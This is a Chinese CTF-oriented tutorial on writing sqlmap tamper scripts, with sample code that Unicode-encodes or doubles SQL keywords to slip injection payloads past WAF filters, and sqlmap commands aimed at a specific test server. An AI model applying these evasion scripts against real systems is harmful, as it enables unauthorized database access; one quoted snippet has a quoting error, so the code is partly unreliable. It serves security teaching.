前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sqlmap tamper脚本编写

sqlmap tamper脚本编写

作者头像
安恒网络空间安全讲武堂
发布2018-12-29 11:13:34
4.8K0
发布2018-12-29 11:13:34
举报

上次HCTF中Li4n0师傅出了一道Kzone,非预期解可以利用Unicode编码关键字bypass掉WAF,发现如果手动编写sqlmap中的tamper脚本能够省事很多,于是就有了此文。

sqlmap tamper简介

sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。 使用方法:

代码语言:javascript
复制
sqlmap.py XXXXX -tamper "模块名"

sqlmap脚本的tamper目录下有很多自带的tamper脚本,可以用来绕过特定的waf。 这篇文章讲的很详细:sqlmap的tamper详解:http://www.myh0st.cn/index.php/archives/881/

lowercase.py

我们从sqlmap自带的escapequotes.py了解tamper的结构。 这个脚本的作用是将单引号转换成 \\',双引号转换成 \\",用于过滤了单引号或双引号的情况

代码语言:javascript
复制
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Slash escape single and double quotes (e.g. ' -> \')

    >>> tamper('1" AND SLEEP(5)#')
    '1\\\\" AND SLEEP(5)#'
    """

    return payload.replace("'", "\\'").replace('"', '\\"')

可以看到tamper脚本的基本结构为 priority变量定义和 dependenciestamper函数定义。

  • priority定义脚本的优先级,用于有多个tamper脚本的情况。
  • dependencies函数声明该脚本适用或不适用的范围,可以为空。
  • tamper是主要的函数,接受的参数为 payload**kwargs,返回值为替换后的payload。

priority

在自带的tamper脚本中一共有以下几种优先级 还可以自定义 -100~100

代码语言:javascript
复制
__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWER
__priority__ = PRIORITY.LOW
__priority__ = PRIORITY.NORMAL
__priority__ = PRIORITY.HIGH
__priority__ = PRIORITY.HIGHER
__priority__ = PRIORITY.HIGHEST

dependencies函数

dependencies函数,对tamper脚本支持/不支持使用的环境进行声明,可以为空,如:

代码语言:javascript
复制
import os
from lib.core.common import singleTimeWarnMessage

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
#singleTimeWarnMessage() 用于在控制台中打印出警告信息

tamper函数

tamper是整个脚本的主体。主要用于修改原本的payload,返回值为替换后的payload。 比如Kzone中通过Unicode编码关键字中的字符来绕过waf。

代码语言:javascript
复制
def tamper(payload, **kwargs):
    payload = payload.lower()
    payload = payload.replace('u', 'u0075')
    payload = payload.replace('o', 'u006f')
    payload = payload.replace('i', 'u0069')
    payload = payload.replace(''', 'u0027')
    payload = payload.replace('"', 'u0022')
    payload = payload.replace(' ', 'u0020')
    payload = payload.replace('s', 'u0073')
    payload = payload.replace('#', 'u0023')
    payload = payload.replace('>', 'u003e')
    payload = payload.replace('<', 'u003c')
    payload = payload.replace('-', 'u002d')
    payload = payload.replace('=', 'u003d')
    return payload
kwargs

在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header

代码语言:javascript
复制
# sqlmap/tamper/vanrish.py

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

结语

恰当的使用或者编写特定的tamper脚本能够省去很多不必要的麻烦。 且编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用 如 __priority__=PRIORITY.LOWER来源于 sqlmap/lib/core/enums.py

代码语言:javascript
复制
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

class PRIORITY:
    LOWEST = -100
    LOWER = -50
    LOW = -10
    NORMAL = 0
    HIGH = 10
    HIGHER = 50
    HIGHEST = 100

....
class DBMS:
    ACCESS = "Microsoft Access"
    DB2 = "IBM DB2"
    FIREBIRD = "Firebird"
    MAXDB = "SAP MaxDB"
    MSSQL = "Microsoft SQL Server"
    MYSQL = "MySQL"
    ORACLE = "Oracle"
    PGSQL = "PostgreSQL"
    SQLITE = "SQLite"
    SYBASE = "Sybase"
    HSQLDB = "HSQLDB"
    INFORMIX = "Informix"

class DBMS_DIRECTORY_NAME:
    ACCESS = "access"
    DB2 = "db2"
    FIREBIRD = "firebird"
    MAXDB = "maxdb"
    MSSQL = "mssqlserver"
    MYSQL = "mysql"
    ORACLE = "oracle"
    PGSQL = "postgresql"
    SQLITE = "sqlite"
    SYBASE = "sybase"
    HSQLDB = "hsqldb"
    INFORMIX = "informix"

实例

自己写了一个替换关键字为空的waf

不使用脚本

代码语言:javascript
复制
python27 sqlmap.py -u "http://47.106.142.99:8008/list.php?id=1" -D ctf --tables

编写脚本 test.py

代码语言:javascript
复制
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass


def tamper(payload, **kwargs):

    payload=payload.lower()

    payload=payload.replace('/*','//**')
    payload=payload.replace('select','SeLselecteCt')
    payload=payload.replace('union','UnunionIoN')
    payload=payload.replace('and','Anandd')
    payload=payload.replace('sleep','SlesleepEp')
    payload=payload.replace('or','oorr')

    return payload
代码语言:javascript
复制
python27 sqlmap.py -u "http://47.106.142.99:8008/list.php?id=1" --tamper=test -D ctf --tables

Referer

sqlmap-tamper编写指南:https://www.jianshu.com/p/c24727dd1f7a

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-12-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • sqlmap tamper简介
  • lowercase.py
  • priority
  • dependencies函数
  • tamper函数
    • kwargs
    • 结语
    • 实例
    • Referer
    相关产品与服务
    云数据库 MySQL
    腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档